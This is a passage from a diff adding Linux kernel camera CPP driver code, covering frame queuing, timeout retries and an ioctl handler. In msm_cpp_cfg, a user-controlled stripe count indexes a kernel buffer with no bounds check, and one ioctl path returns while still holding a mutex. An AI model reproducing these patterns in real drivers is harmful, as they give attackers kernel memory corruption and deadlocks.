= msm_dequeue(queue, list_frame); + if (frame_qcmd) { + processed_frame = frame_qcmd->command; + do_gettimeofday(&(processed_frame->out_time)); + kfree(frame_qcmd); + event_qcmd = kzalloc(sizeof(struct msm_queue_cmd), GFP_ATOMIC); + if (!event_qcmd) { + pr_err("Insufficient memory. return"); + return -ENOMEM; + } + atomic_set(&event_qcmd->on_heap, 1); + event_qcmd->command = processed_frame; + CPP_DBG("fid %d\n", processed_frame->frame_id); + msm_enqueue(&cpp_dev->eventData_q, &event_qcmd->list_eventdata); + + if (!processed_frame->output_buffer_info[0].processed_divert && + !processed_frame->output_buffer_info[0].native_buff) { + memset(&buff_mgr_info, 0 , + sizeof(struct msm_buf_mngr_info)); + buff_mgr_info.session_id = + ((processed_frame->identity >> 16) & 0xFFFF); + buff_mgr_info.stream_id = + (processed_frame->identity & 0xFFFF); + buff_mgr_info.frame_id = processed_frame->frame_id; + buff_mgr_info.timestamp = processed_frame->timestamp; + buff_mgr_info.index = + processed_frame->output_buffer_info[0].index; + rc = msm_cpp_buffer_ops(cpp_dev, + VIDIOC_MSM_BUF_MNGR_BUF_DONE, + &buff_mgr_info); + if (rc < 0) { + pr_err("error putting buffer\n"); + rc = -EINVAL; + } + } + + if (processed_frame->duplicate_output && + !processed_frame-> + output_buffer_info[1].processed_divert) { + memset(&buff_mgr_info, 0 , + sizeof(struct msm_buf_mngr_info)); + buff_mgr_info.session_id = + ((processed_frame->duplicate_identity >> 16) & 0xFFFF); + buff_mgr_info.stream_id = + (processed_frame->duplicate_identity & 0xFFFF); + buff_mgr_info.frame_id = processed_frame->frame_id; + buff_mgr_info.timestamp = processed_frame->timestamp; + buff_mgr_info.index = + processed_frame->output_buffer_info[1].index; + rc = msm_cpp_buffer_ops(cpp_dev, + VIDIOC_MSM_BUF_MNGR_BUF_DONE, + &buff_mgr_info); + if (rc < 0) { + pr_err("error putting buffer\n"); + rc = -EINVAL; + } + } + v4l2_evt.id = processed_frame->inst_id; + v4l2_evt.type = V4L2_EVENT_CPP_FRAME_DONE; + v4l2_event_queue(cpp_dev->msm_sd.sd.devnode, &v4l2_evt); + } + return rc; +} + +#if MSM_CPP_DUMP_FRM_CMD +static int msm_cpp_dump_frame_cmd(struct msm_cpp_frame_info_t *frame_info) +{ + int i; + pr_info("-- start: cpp frame cmd for identity=0x%x, frame_id=%d --\n", + frame_info->identity, + frame_info->frame_id); + for (i = 0; i < frame_info->msg_len; i++) + pr_err("msg[%03d] = 0x%08x\n", i, frame_info->cpp_cmd_msg[i]); + pr_info("-- end: cpp frame cmd for identity=0x%x, frame_id=%d --\n", + frame_info->identity, + frame_info->frame_id); + return 0; +} +#else +static int msm_cpp_dump_frame_cmd(struct msm_cpp_frame_info_t *frame_info) +{ + return 0; +} +#endif + + +static void msm_cpp_do_timeout_work(struct work_struct *work) +{ + int ret; + uint32_t i = 0; + struct msm_cpp_frame_info_t *this_frame = NULL; + + pr_err("cpp_timer_callback called. (jiffies=%lu)\n", + jiffies); + if (!work || cpp_timer.data.cpp_dev->state != CPP_STATE_ACTIVE) { + pr_err("Invalid work:%p or state:%d\n", work, + cpp_timer.data.cpp_dev->state); + return; + } + if (!atomic_read(&cpp_timer.used)) { + pr_err("Delayed trigger, IRQ serviced\n"); + return; + } + + disable_irq(cpp_timer.data.cpp_dev->irq->start); + pr_err("Reloading firmware\n"); + cpp_load_fw(cpp_timer.data.cpp_dev, NULL); + pr_err("Firmware loading done\n"); + enable_irq(cpp_timer.data.cpp_dev->irq->start); + msm_camera_io_w_mb(0x8, cpp_timer.data.cpp_dev->base + + MSM_CPP_MICRO_IRQGEN_MASK); + msm_camera_io_w_mb(0xFFFF, + cpp_timer.data.cpp_dev->base + + MSM_CPP_MICRO_IRQGEN_CLR); + + if (!atomic_read(&cpp_timer.used)) { + pr_err("Delayed trigger, IRQ serviced\n"); + return; + } + + if (cpp_timer.data.cpp_dev->timeout_trial_cnt >= + MSM_CPP_MAX_TIMEOUT_TRIAL) { + pr_info("Max trial reached\n"); + msm_cpp_notify_frame_done(cpp_timer.data.cpp_dev); + cpp_timer.data.cpp_dev->timeout_trial_cnt = 0; + return; + } + + this_frame = cpp_timer.data.processed_frame; + pr_err("Starting timer to fire in %d ms. (jiffies=%lu)\n", + CPP_CMD_TIMEOUT_MS, jiffies); + ret = mod_timer(&cpp_timer.cpp_timer, + jiffies + msecs_to_jiffies(CPP_CMD_TIMEOUT_MS)); + if (ret) + pr_err("error in mod_timer\n"); + + pr_err("Rescheduling for identity=0x%x, frame_id=%03d\n", + this_frame->identity, this_frame->frame_id); + msm_cpp_write(0x6, cpp_timer.data.cpp_dev->base); + msm_cpp_dump_frame_cmd(this_frame); + for (i = 0; i < this_frame->msg_len; i++) + msm_cpp_write(this_frame->cpp_cmd_msg[i], + cpp_timer.data.cpp_dev->base); + cpp_timer.data.cpp_dev->timeout_trial_cnt++; + return; +} + +void cpp_timer_callback(unsigned long data) +{ + struct msm_cpp_work_t *work = + cpp_timer.data.cpp_dev->work; + queue_work(cpp_timer.data.cpp_dev->timer_wq, + (struct work_struct *)work); +} + +static int msm_cpp_send_frame_to_hardware(struct cpp_device *cpp_dev, + struct msm_queue_cmd *frame_qcmd) +{ + uint32_t i; + int32_t rc = -EAGAIN; + int ret; + struct msm_cpp_frame_info_t *process_frame; + + if (cpp_dev->processing_q.len < MAX_CPP_PROCESSING_FRAME) { + process_frame = frame_qcmd->command; + msm_enqueue(&cpp_dev->processing_q, + &frame_qcmd->list_frame); + + cpp_timer.data.processed_frame = process_frame; + atomic_set(&cpp_timer.used, 1); + /* install timer for cpp timeout */ + CPP_DBG("Installing cpp_timer\n"); + setup_timer(&cpp_timer.cpp_timer, + cpp_timer_callback, (unsigned long)&cpp_timer); + CPP_DBG("Starting timer to fire in %d ms. (jiffies=%lu)\n", + CPP_CMD_TIMEOUT_MS, jiffies); + ret = mod_timer(&cpp_timer.cpp_timer, + jiffies + msecs_to_jiffies(CPP_CMD_TIMEOUT_MS)); + if (ret) + pr_err("error in mod_timer\n"); + + msm_cpp_write(0x6, cpp_dev->base); + msm_cpp_dump_frame_cmd(process_frame); + msm_cpp_poll_rx_empty(cpp_dev->base); + for (i = 0; i < process_frame->msg_len; i++) { + if (i % MSM_CPP_RX_FIFO_LEVEL == 0) + msm_cpp_poll_rx_empty(cpp_dev->base); + if ((induce_error) && (i == 1)) { + pr_err("Induce error\n"); + msm_cpp_write(process_frame->cpp_cmd_msg[i]-1, + cpp_dev->base); + induce_error--; + } else + msm_cpp_write(process_frame->cpp_cmd_msg[i], + cpp_dev->base); + } + do_gettimeofday(&(process_frame->in_time)); + rc = 0; + } + if (rc < 0) + pr_err("process queue full. drop frame\n"); + return rc; +} + +static int msm_cpp_flush_frames(struct cpp_device *cpp_dev) +{ + return 0; +} + +static int msm_cpp_cfg(struct cpp_device *cpp_dev, + struct msm_camera_v4l2_ioctl_t *ioctl_ptr) +{ + int rc = 0; + struct msm_queue_cmd *frame_qcmd = NULL; + struct msm_cpp_frame_info_t *new_frame = + kzalloc(sizeof(struct msm_cpp_frame_info_t), GFP_KERNEL); + uint32_t *cpp_frame_msg; + unsigned long in_phyaddr, out_phyaddr0, out_phyaddr1; + uint16_t num_stripes = 0; + struct msm_buf_mngr_info buff_mgr_info, dup_buff_mgr_info; + int32_t status = 0; + int32_t stripe_base = 0; + + int in_fd; + + int i = 0; + if (!new_frame) { + pr_err("Insufficient memory. return\n"); + return -ENOMEM; + } + + rc = (copy_from_user(new_frame, (void __user *)ioctl_ptr->ioctl_ptr, + sizeof(struct msm_cpp_frame_info_t)) ? -EFAULT : 0); + if (rc) { + ERR_COPY_FROM_USER(); + rc = -EINVAL; + goto ERROR1; + } + + if ((new_frame->msg_len == 0) || + (new_frame->msg_len > MSM_CPP_MAX_FRAME_LENGTH)) { + pr_err("%s:%d: Invalid frame len:%d\n", __func__, + __LINE__, new_frame->msg_len); + rc = -EINVAL; + goto ERROR1; + } + + cpp_frame_msg = kzalloc(sizeof(uint32_t)*new_frame->msg_len, + GFP_KERNEL); + if (!cpp_frame_msg) { + pr_err("Insufficient memory. return"); + rc = -ENOMEM; + goto ERROR1; + } + + rc = (copy_from_user(cpp_frame_msg, + (void __user *)new_frame->cpp_cmd_msg, + sizeof(uint32_t)*new_frame->msg_len) ? -EFAULT : 0); + if (rc) { + ERR_COPY_FROM_USER(); + rc = -EINVAL; + goto ERROR2; + } + + new_frame->cpp_cmd_msg = cpp_frame_msg; + + in_phyaddr = msm_cpp_fetch_buffer_info(cpp_dev, + &new_frame->input_buffer_info, + ((new_frame->input_buffer_info.identity >> 16) & 0xFFFF), + (new_frame->input_buffer_info.identity & 0xFFFF), &in_fd); + if (!in_phyaddr) { + pr_err("error gettting input physical address\n"); + rc = -EINVAL; + goto ERROR2; + } + + if (new_frame->output_buffer_info[0].native_buff == 0) { + memset(&buff_mgr_info, 0, sizeof(struct msm_buf_mngr_info)); + buff_mgr_info.session_id = ((new_frame->identity >> 16) & + 0xFFFF); + buff_mgr_info.stream_id = (new_frame->identity & 0xFFFF); + rc = msm_cpp_buffer_ops(cpp_dev, VIDIOC_MSM_BUF_MNGR_GET_BUF, + &buff_mgr_info); + if (rc < 0) { + rc = -EAGAIN; + pr_debug("error getting buffer rc:%d\n", rc); + goto ERROR2; + } + new_frame->output_buffer_info[0].index = buff_mgr_info.index; + } + + out_phyaddr0 = msm_cpp_fetch_buffer_info(cpp_dev, + &new_frame->output_buffer_info[0], + ((new_frame->identity >> 16) & 0xFFFF), + (new_frame->identity & 0xFFFF), + &new_frame->output_buffer_info[0].fd); + if (!out_phyaddr0) { + pr_err("error gettting output physical address\n"); + rc = -EINVAL; + goto ERROR3; + } + out_phyaddr1 = out_phyaddr0; + + /* get buffer for duplicate output */ + if (new_frame->duplicate_output) { + CPP_DBG("duplication enabled, dup_id=0x%x", + new_frame->duplicate_identity); + memset(&new_frame->output_buffer_info[1], 0, + sizeof(struct msm_cpp_buffer_info_t)); + memset(&dup_buff_mgr_info, 0, sizeof(struct msm_buf_mngr_info)); + dup_buff_mgr_info.session_id = + ((new_frame->duplicate_identity >> 16) & 0xFFFF); + dup_buff_mgr_info.stream_id = + (new_frame->duplicate_identity & 0xFFFF); + rc = msm_cpp_buffer_ops(cpp_dev, VIDIOC_MSM_BUF_MNGR_GET_BUF, + &dup_buff_mgr_info); + if (rc < 0) { + rc = -EAGAIN; + pr_debug("error getting buffer rc:%d\n", rc); + goto ERROR3; + } + new_frame->output_buffer_info[1].index = + dup_buff_mgr_info.index; + out_phyaddr1 = msm_cpp_fetch_buffer_info(cpp_dev, + &new_frame->output_buffer_info[1], + ((new_frame->duplicate_identity >> 16) & 0xFFFF), + (new_frame->duplicate_identity & 0xFFFF), + &new_frame->output_buffer_info[1].fd); + if (!out_phyaddr1) { + pr_err("error gettting output physical address\n"); + rc = -EINVAL; + msm_cpp_buffer_ops(cpp_dev, VIDIOC_MSM_BUF_MNGR_PUT_BUF, + &dup_buff_mgr_info); + goto ERROR3; + } + /* set duplicate enable bit */ + cpp_frame_msg[5] |= 0x1; + CPP_DBG("out_phyaddr1= %08x\n", (uint32_t)out_phyaddr1); + } + + num_stripes = ((cpp_frame_msg[12] >> 20) & 0x3FF) + + ((cpp_frame_msg[12] >> 10) & 0x3FF) + + (cpp_frame_msg[12] & 0x3FF); + + if ((cpp_dev->fw_version & 0xffff0000) == CPP_FW_VERSION_1_2_0) { + stripe_base = STRIPE_BASE_FW_1_2_0; + } else if ((cpp_dev->fw_version & 0xffff0000) == CPP_FW_VERSION_1_4_0) { + stripe_base = STRIPE_BASE_FW_1_4_0; + } else if ((cpp_dev->fw_version & 0xffff0000) == CPP_FW_VERSION_1_6_0) { + stripe_base = STRIPE_BASE_FW_1_6_0; + } else { + pr_err("invalid fw version %08x", cpp_dev->fw_version); + goto ERROR3; + } + + for (i = 0; i < num_stripes; i++) { + cpp_frame_msg[stripe_base + 5 + i*27] += + (uint32_t) in_phyaddr; + cpp_frame_msg[stripe_base + 11 + i * 27] += + (uint32_t) out_phyaddr0; + cpp_frame_msg[stripe_base + 12 + i * 27] += + (uint32_t) out_phyaddr1; + cpp_frame_msg[stripe_base + 13 + i * 27] += + (uint32_t) out_phyaddr0; + cpp_frame_msg[stripe_base + 14 + i * 27] += + (uint32_t) out_phyaddr1; + } + + frame_qcmd = kzalloc(sizeof(struct msm_queue_cmd), GFP_KERNEL); + if (!frame_qcmd) { + pr_err("Insufficient memory. return\n"); + rc = -ENOMEM; + goto ERROR3; + } + + atomic_set(&frame_qcmd->on_heap, 1); + frame_qcmd->command = new_frame; + rc = msm_cpp_send_frame_to_hardware(cpp_dev, frame_qcmd); + if (rc < 0) { + pr_err("error cannot send frame to hardware\n"); + rc = -EINVAL; + goto ERROR4; + } + + ioctl_ptr->trans_code = rc; + status = rc; + rc = (copy_to_user((void __user *)new_frame->status, &status, + sizeof(int32_t)) ? -EFAULT : 0); + if (rc) { + ERR_COPY_FROM_USER(); + rc = -EINVAL; + goto ERROR4; + } + return rc; +ERROR4: + kfree(frame_qcmd); +ERROR3: + if (new_frame->output_buffer_info[0].native_buff == 0) + msm_cpp_buffer_ops(cpp_dev, VIDIOC_MSM_BUF_MNGR_PUT_BUF, + &buff_mgr_info); +ERROR2: + kfree(cpp_frame_msg); +ERROR1: + ioctl_ptr->trans_code = rc; + status = rc; + if (copy_to_user((void __user *)new_frame->status, &status, + sizeof(int32_t))) + pr_err("error cannot copy error\n"); + kfree(new_frame); + return rc; +} + +void msm_cpp_clean_queue(struct cpp_device *cpp_dev) +{ + struct msm_queue_cmd *frame_qcmd = NULL; + struct msm_cpp_frame_info_t *processed_frame = NULL; + struct msm_device_queue *queue = NULL; + + while (cpp_dev->processing_q.len) { + pr_info("queue len:%d\n", cpp_dev->processing_q.len); + queue = &cpp_dev->processing_q; + frame_qcmd = msm_dequeue(queue, list_frame); + if (frame_qcmd) { + processed_frame = frame_qcmd->command; + kfree(frame_qcmd); + if (processed_frame) + kfree(processed_frame->cpp_cmd_msg); + kfree(processed_frame); + } + } +} + +long msm_cpp_subdev_ioctl(struct v4l2_subdev *sd, + unsigned int cmd, void *arg) +{ + struct cpp_device *cpp_dev = v4l2_get_subdevdata(sd); + struct msm_camera_v4l2_ioctl_t *ioctl_ptr = arg; + int rc = 0; + + if ((ioctl_ptr == NULL) || (ioctl_ptr->ioctl_ptr == NULL)) { + pr_err("ioctl_ptr is null\n"); + return -EINVAL; + } + if (cpp_dev == NULL) { + pr_err("cpp_dev is null\n"); + return -EINVAL; + } + mutex_lock(&cpp_dev->mutex); + CPP_DBG("E cmd: 0x%x\n", cmd); + switch (cmd) { + case VIDIOC_MSM_CPP_GET_HW_INFO: { + CPP_DBG("VIDIOC_MSM_CPP_GET_HW_INFO\n"); + if (copy_to_user((void __user *)ioctl_ptr->ioctl_ptr, + &cpp_dev->hw_info, + sizeof(struct cpp_hw_info))) { + mutex_unlock(&cpp_dev->mutex); + return -EINVAL; + } + break; + } + + case VIDIOC_MSM_CPP_LOAD_FIRMWARE: { + CPP_DBG("VIDIOC_MSM_CPP_LOAD_FIRMWARE\n"); + if (cpp_dev->is_firmware_loaded == 0) { + if (cpp_dev->fw_name_bin != NULL) { + kfree(cpp_dev->fw_name_bin); + cpp_dev->fw_name_bin = NULL; + } + if ((ioctl_ptr->len == 0) || + (ioctl_ptr->len > MSM_CPP_MAX_FW_NAME_LEN)) { + pr_err("ioctl_ptr->len is 0\n"); + mutex_unlock(&cpp_dev->mutex); + return -EINVAL; + } + cpp_dev->fw_name_bin = kzalloc(ioctl_ptr->len+1, + GFP_KERNEL); + if (!cpp_dev->fw_name_bin) { + pr_err("%s:%d: malloc error\n", __func__, + __LINE__); + mutex_unlock(&cpp_dev->mutex); + return -EINVAL; + } + if (ioctl_ptr->ioctl_ptr == NULL) { + pr_err("ioctl_ptr->ioctl_ptr=NULL\n"); + mutex_unlock(&cpp_dev->mutex); + return -EINVAL; + } + rc = (copy_from_user(cpp_dev->fw_name_bin, + (void __user *)ioctl_ptr->ioctl_ptr, + ioctl_ptr->len) ? -EFAULT : 0); + if (rc) { + ERR_COPY_FROM_USER(); + kfree(cpp_dev->fw_name_bin); + cpp_dev->fw_name_bin = NULL; + mutex_unlock(&cpp_dev->mutex); + return -EINVAL; + } + *(cpp_dev->fw_name_bin+ioctl_ptr->len) = '\0'; + disable_irq(cpp_dev->irq->start); + cpp_load_fw(cpp_dev, cpp_dev->fw_name_bin); + enable_irq(cpp_dev->irq->start); + cpp_dev->is_firmware_loaded = 1; + } + break; + } + case VIDIOC_MSM_CPP_CFG: + CPP_DBG("VIDIOC_MSM_CPP_CFG\n"); + rc = msm_cpp_cfg(cpp_dev, ioctl_ptr); + break; + case VIDIOC_MSM_CPP_FLUSH_QUEUE: + CPP_DBG("VIDIOC_MSM_CPP_FLUSH_QUEUE\n"); + rc = msm_cpp_flush_frames(cpp_dev); + break; + case VIDIOC_MSM_CPP_APPEND_STREAM_BUFF_INFO: + case VIDIOC_MSM_CPP_ENQUEUE_STREAM_BUFF_INFO: { + struct msm_cpp_stream_buff_info_t *u_stream_buff_info; + struct msm_cpp_stream_buff_info_t k_stream_buff_info; + CPP_DBG("VIDIOC_MSM_CPP_ENQUEUE_STREAM_BUFF_INFO\n"); + if (sizeof(struct msm_cpp_stream_buff_info_t) != + ioctl_ptr->len) { + pr_err("%s:%d: invalid length\n", __func__, __LINE__); + mutex_unlock(&cpp_dev->mutex); + return -EINVAL; + } + + u_stream_buff_info = kzalloc(ioctl_ptr->len, GFP_KERNEL); + if (!u_stream_buff_info) { + pr_err("%s:%d: malloc error\n", __func__, __LINE__); + mutex_unlock(&cpp_dev->mutex); + return -EINVAL; + } + + rc = (copy_from_user(u_stream_buff_info, + (void __user *)ioctl_ptr->ioctl_ptr, + ioctl_ptr->len) ? -EFAULT : 0); + if (rc) { + ERR_COPY_FROM_USER(); + kfree(u_stream_buff_info); + mutex_unlock(&cpp_dev->mutex); + return -EINVAL; + } + + if (u_stream_buff_info->num_buffs == 0) { + pr_err("%s:%d: Invalid number of buffers\n", __func__, + __LINE__); + kfree(u_stream_buff_info); + mutex_unlock(&cpp_dev->mutex); + return -EINVAL; + } + k_stream_buff_info.num_buffs = u_stream_buff_info->num_buffs; + k_stream_buff_info.identity = u_stream_buff_info->identity; + + if (k_stream_buff_info.num_buffs > MSM_CAMERA_MAX_STREAM_BUF) { + pr_err("%s:%d: unexpected large num buff requested\n", + __func__, __LINE__); + kfree(u_stream_buff_info); + mutex_unlock(&cpp_dev->mutex); + return -EINVAL; + } + k_stream_buff_info.buffer_info = + kzalloc(k_stream_buff_info.num_buffs * + sizeof(struct msm_cpp_buffer_info_t), GFP_KERNEL); + if (ZERO_OR_NULL_PTR(k_stream_buff_info.buffer_info)) { + pr_err("%s:%d: malloc error\n", __func__, __LINE__); + kfree(u_stream_buff_info); + mutex_unlock(&cpp_dev->mutex); + return -EINVAL; + } + + rc = (copy_from_user(k_stream_buff_info.buffer_info, + (void __user *)u_stream_buff_info->buffer_info, + k_stream_buff_info.num_buffs * + sizeof(struct msm_cpp_buffer_info_t)) ? + -EFAULT : 0); + if (rc) { + ERR_COPY_FROM_USER(); + kfree(k_stream_buff_info.buffer_info); + kfree(u_stream_buff_info); + mutex_unlock(&cpp_dev->mutex); + return -EINVAL; + } + if (cmd != VIDIOC_MSM_CPP_APPEND_STREAM_BUFF_INFO) { + rc = msm_cpp_add_buff_queue_entry(cpp_dev, + ((k_stream_buff_info.identity >> 16) & 0xFFFF), + (k_stream_buff_info.identity & 0xFFFF)); + } + if (!rc) + rc = msm_cpp_enqueue_buff_info_list(cpp_dev, + &k_stream_buff_info); + + kfree(k_stream_buff_info.buffer_info); + kfree(u_stream_buff_info); + if (cpp_dev->stream_cnt == 0) { + cpp_dev->state = CPP_STATE_ACTIVE; + msm_cpp_clear_timer(cpp_dev); + msm_cpp_clean_queue(cpp_dev); + } + + if (cmd != VIDIOC_MSM_CPP_APPEND_STREAM_BUFF_INFO) { + cpp_dev->stream_cnt++; + pr_err("stream_cnt:%d\n", cpp_dev->stream_cnt); + } + break; + } + case VIDIOC_MSM_CPP_DEQUEUE_STREAM_BUFF_INFO: { + uint32_t identity; + struct msm_cpp_buff_queue_info_t *buff_queue_info; + CPP_DBG("VIDIOC_MSM_CPP_DEQUEUE_STREAM_BUFF_INFO\n"); + + if ((ioctl_ptr->len == 0) || + (ioctl_ptr->len > sizeof(uint32_t))) + return -EINVAL; + + rc = (copy_from_user(&identity, + (void __user *)ioctl_ptr->ioctl_ptr, + ioctl_ptr->len) ? -EFAULT : 0); + if (rc) { + ERR_COPY_FROM_USER(); + mutex_unlock(&cpp_dev->mutex); + return -EINVAL; + } + + buff_queue_info = msm_cpp_get_buff_queue_entry(cpp_dev, + ((identity >> 16) & 0xFFFF), (identity & 0xFFFF)); + if (buff_queue_info == NULL) { + pr_err("error finding buffer queue entry for identity:%d\n", + identity); + mutex_unlock(&cpp_dev->mutex); + return -EINVAL; + } + + msm_cpp_dequeue_buff_info_list(cpp_dev, buff_queue_info); + rc = msm_cpp_free_buff_queue_entry(cpp_dev, + buff_queue_info->session_id, + buff_queue_info->stream_id); + if (cpp_dev->stream_cnt > 0) { + cpp_dev->stream_cnt--; + pr_info("stream_cnt:%d\n", cpp_dev->stream_cnt); + if (cpp_dev->stream_cnt == 0) { + rc = msm_isp_update_bandwidth(ISP_CPP, 0, 0); + if (rc < 0) + pr_err("Bandwidth Reset Failed!\n"); + cpp_dev->state = CPP_STATE_IDLE; + msm_cpp_clear_timer(cpp_dev); + msm_cpp_clean_queue(cpp_dev); + } + } else { + pr_err("error: stream count underflow %d\n", + cpp_dev->stream_cnt); + } + break; + } + case VIDIOC_MSM_CPP_GET_EVENTPAYLOAD: { + struct msm_device_queue *queue = &cpp_dev->eventData_q; + struct msm_queue_cmd *event_qcmd; + struct msm_cpp_frame_info_t *process_frame; + CPP_DBG("VIDIOC_MSM_CPP_GET_EVENTPAYLOAD\n"); + event_qcmd = msm_dequeue(queue, list_eventdata); + if (!event_qcmd) { + pr_err("no queue cmd available"); + mutex_unlock(&cpp_dev->mutex); + return -EINVAL; + } + process_frame = event_qcmd->command; + CPP_DBG("fid %d\n", process_frame->frame_id); + if (copy_to_user((void __user *)ioctl_ptr->ioctl_ptr, + process_frame, + sizeof(struct msm_cpp_frame_info_t))) { + mutex_unlock(&cpp_dev->mutex); + return -EINVAL; + } + + kfree(process_frame->cpp_cmd_msg); + kfree(process_frame); + kfree(event_qcmd); + break; + } + case VIDIOC_MSM_CPP_SET_CLOCK: { + struct msm_cpp_clock_settings_t clock_settings; + unsigned long clock_rate = 0; + CPP_DBG("VIDIOC_MSM_CPP_SET_CLOCK\n"); + if (ioctl_ptr->len == 0) { + pr_err("ioctl_ptr->len is 0\n"); + mutex_unlock(&cpp_dev->mutex); + return -EINVAL; + } + + if (ioctl_ptr->ioctl_ptr == NULL) { + pr_err("ioctl_ptr->ioctl_ptr is NULL\n"); + mutex_unlock(&cpp_dev->mutex); + return -EINVAL; + } + + if (ioctl_ptr->len != sizeof(struct msm_cpp_clock_settings_t)) { + pr_err("Not valid ioctl_ptr->len\n"); + mutex_unlock(&cpp_dev->mutex); + return -EINVAL; + } + + rc = (copy_from_user(&clock_settings, + (void __user *)ioctl_ptr->ioctl_ptr, + ioctl_ptr->len) ? -EFAULT : 0); + if (rc) { + ERR_COPY_FROM_USER(); + mutex_unlock(&cpp_dev->mutex); + return -EINVAL; + } + + if (clock_settings.clock_rate > 0) { + rc = msm_isp_update_bandwidth(ISP_CPP, + clock_settings.avg, + clock_settings.inst); + if (rc < 0) { + pr_err("Bandwidth Set Failed!\n"); + msm_isp_update_bandwidth(ISP_CPP, 0, 0); + mutex_unlock(&cpp_dev->mutex); + return -EINVAL; + } + clock_rate = clk_round_rate( + cpp_dev->cpp_clk[MSM_CPP_CORE_CLK_IDX], + clock_settings.clock_rate); + if (clock_rate != clock_settings.clock_rate) + pr_err("clock rate differ from settings\n"); + + clk_set_rate(cpp_dev->cpp_clk[MSM_CPP_CORE_CLK_IDX], + clock_rate); + } + break; + } + case MSM_SD_SHUTDOWN: + CPP_DBG("MSM_SD_SHUTDOWN\n"); + mutex_unlock(&cpp_dev->mutex); + pr_info("shutdown cpp node. open cnt:%d\n", + cpp_dev->cpp_open_cnt); + + if (atomic_read(&cpp_timer.used)) + pr_info("Timer state not cleared\n"); + + while (cpp_dev->cpp_open_cnt != 0) + cpp_close_node(sd, NULL); + mutex_lock(&cpp_dev->mutex); + rc = 0; + break; + case VIDIOC_MSM_CPP_QUEUE_BUF: { + struct msm_pproc_queue_buf_info queue_buf_info; + CPP_DBG("VIDIOC_MSM_CPP_QUEUE_BUF\n"); + rc = (copy_from_user(&queue_buf_info, + (void __user *)ioctl_ptr->ioctl_ptr, + sizeof(struct msm_pproc_queue_buf_info)) ? + -EFAULT : 0); + if (rc) { + ERR_COPY_FROM_USER(); + break; + } + + if (queue_buf_info.is_buf_dirty) { + rc = msm_cpp_buffer_ops(cpp_dev, + VIDIOC_MSM_BUF_MNGR_PUT_BUF, + &queue_buf_info.buff_mgr_info); + } else { + rc = msm_cpp_buffer_ops(cpp_dev, + VIDIOC_MSM_BUF_MNGR_BUF_DONE, + &queue_buf_info.buff_mgr_info); + } + if (rc < 0) { + pr_err("error in buf done\n"); + rc = -EINVAL; + } + + break; + } + case VIDIOC_MSM_CPP_POP_STREAM_BUFFER: { + struct msm_buf_mngr_info buff_mgr_info; + struct msm_cpp_frame_info_t frame_info; + rc = (copy_from_user(&frame_info, + (void __user *)ioctl_ptr->ioctl_ptr, + sizeof(struct msm_cpp_frame_info_t)) ? -EFAULT : 0); + if (rc) { + ERR_COPY_FROM_USER(); + break; + } + memset(&buff_mgr_info, 0, sizeof(struct msm_buf_mngr_info)); + buff_mgr_info.session_id = + ((frame_info.identity >> 16) & 0xFFFF); + buff_mgr_info.stream_id = (frame_info.identity & 0xFFFF); + rc = msm_cpp_buffer_ops(cpp_dev, VIDIOC_MSM_BUF_MNGR_GET_BUF, + &buff_mgr_info); + if (rc < 0) { + rc = -EAGAIN; + pr_err("error getting buffer rc:%d\n", rc); + break; + } + buff_mgr_info.frame_id = frame_info.frame_id; + rc = msm_cpp_buffer_ops(cpp_dev, VIDIOC_MSM_BUF_MNGR_BUF_DONE, + &buff_mgr_info); + if (rc < 0) { + pr_err("error in buf done\n"); + rc = -EAGAIN; + } + break; + } + case VIDIOC_MSM_CPP_IOMMU_ATTACH: { + if (cpp_dev->iommu_state == CPP_IOMMU_STATE_DETACHED) { + rc = iommu_attach_device(cpp_dev->domain, + cpp_dev->iommu_ctx); + if (rc < 0) { + pr_err("%s:%dError iommu_attach_device failed\n", + __func__, __LINE__); + rc = -EINVAL; + } + cpp_dev->iommu_state = CPP_IOMMU_STATE_ATTACHED; + } else { + pr_err("%s:%d IOMMMU attach triggered in invalid state\n", + __func__, __LINE__); + rc = -EINVAL; + } + break; + } + case VIDIOC_MSM_CPP_IOMMU_DETACH: { + if (cpp_dev->iommu_state == CPP_IOMMU_STATE_ATTACHED) { + iommu_detach_device(cpp_dev->domain, + cpp_dev->iommu_ctx); + cpp_dev->iommu_state = CPP_IOMMU_STATE_DETACHED; + } else { + pr_err("%s:%d IOMMMU attach triggered in invalid state\n", + __func__, __LINE__); + } + break; + } + default: + pr_err_ratelimited("invalid value: cmd=0x%x\n", cmd); + break; + } + mutex_unlock(&cpp_dev->mutex); + CPP_DBG("X\n"); + return rc; +} + +int msm_cpp_subscribe_event(struct v4l2_subdev *sd, struct v4l2_fh *fh, + struct v4l2_event_subscription *sub) +{ + CPP_DBG("Called\n"); + return v4l2_event_subscribe(fh, sub, MAX_CPP_V4l2_EVENTS, NULL); +} + +int msm_cpp_unsubscribe_event(struct v4l2_subdev *sd, struct v4l2_fh *fh, + struct v4l2_event_subscription *sub) +{ + CPP_DBG("Called\n"); + return v4l2_event_unsubscribe(fh, sub); +} + +static struct v4l2_subdev_core_ops msm_cpp_subdev_core_ops = { + .ioctl = msm_cpp_subdev_ioctl, + .subscribe_event = msm_cpp_subscribe_event, + .unsubscribe_event = msm_cpp_unsubscribe_event, +}; + +static const struct v4l2_subdev_ops msm_cpp_subdev_ops = { + .core = &msm_cpp_subdev_core_ops, +}; + +static struct v4l2_file_operations msm_cpp_v4l2_subdev_fops; + +static long msm_cpp_subdev_do_ioctl( + struct file *file, unsigned int cmd, void *arg) +{ + struct video_device *vdev = video_devdata(file); + struct v4l2_subdev *sd = vdev_to_v4l2_subdev(vdev); + struct v4l2_fh *vfh = file->private_data; + + switch (cmd) { + case VIDIOC_DQEVENT: + if (!(sd->flags & V4L2_SUBDEV_FL_HAS_EVENTS)) + return -ENOIOCTLCMD; + + return v4l2_event_dequeue(vfh, arg, file->f_flags & O_NONBLOCK); + + case VIDIOC_SUBSCRIBE_EVENT: + return v4l2_subdev_call(sd, core, subscribe_event, vfh, arg); + + case VIDIOC_UNSUBSCRIBE_EVENT: + return v4l2_subdev_call(sd, core, unsubscribe_event, vfh, arg); + + case VIDIOC_MSM_CPP_GET_INST_INFO: { + uint32_t i; + struct cpp_device *cpp_dev = v4l2_get_subdevdata(sd); + struct msm_camera_v4l2_ioctl_t *ioctl_ptr = arg; + struct msm_cpp_frame_info_t inst_info; + memset(&inst_info, 0, sizeof(struct msm_cpp_frame_info_t)); + for (i = 0; i < MAX_ACTIVE_CPP_INSTANCE; i++) { + if (cpp_dev->cpp_subscribe_list[i].vfh == vfh) { + inst_info.inst_id = i; + break; + } + } + if (copy_to_user( + (void __user *)ioctl_ptr->ioctl_ptr, &inst_info, + sizeof(struct msm_cpp_frame_info_t))) { + return 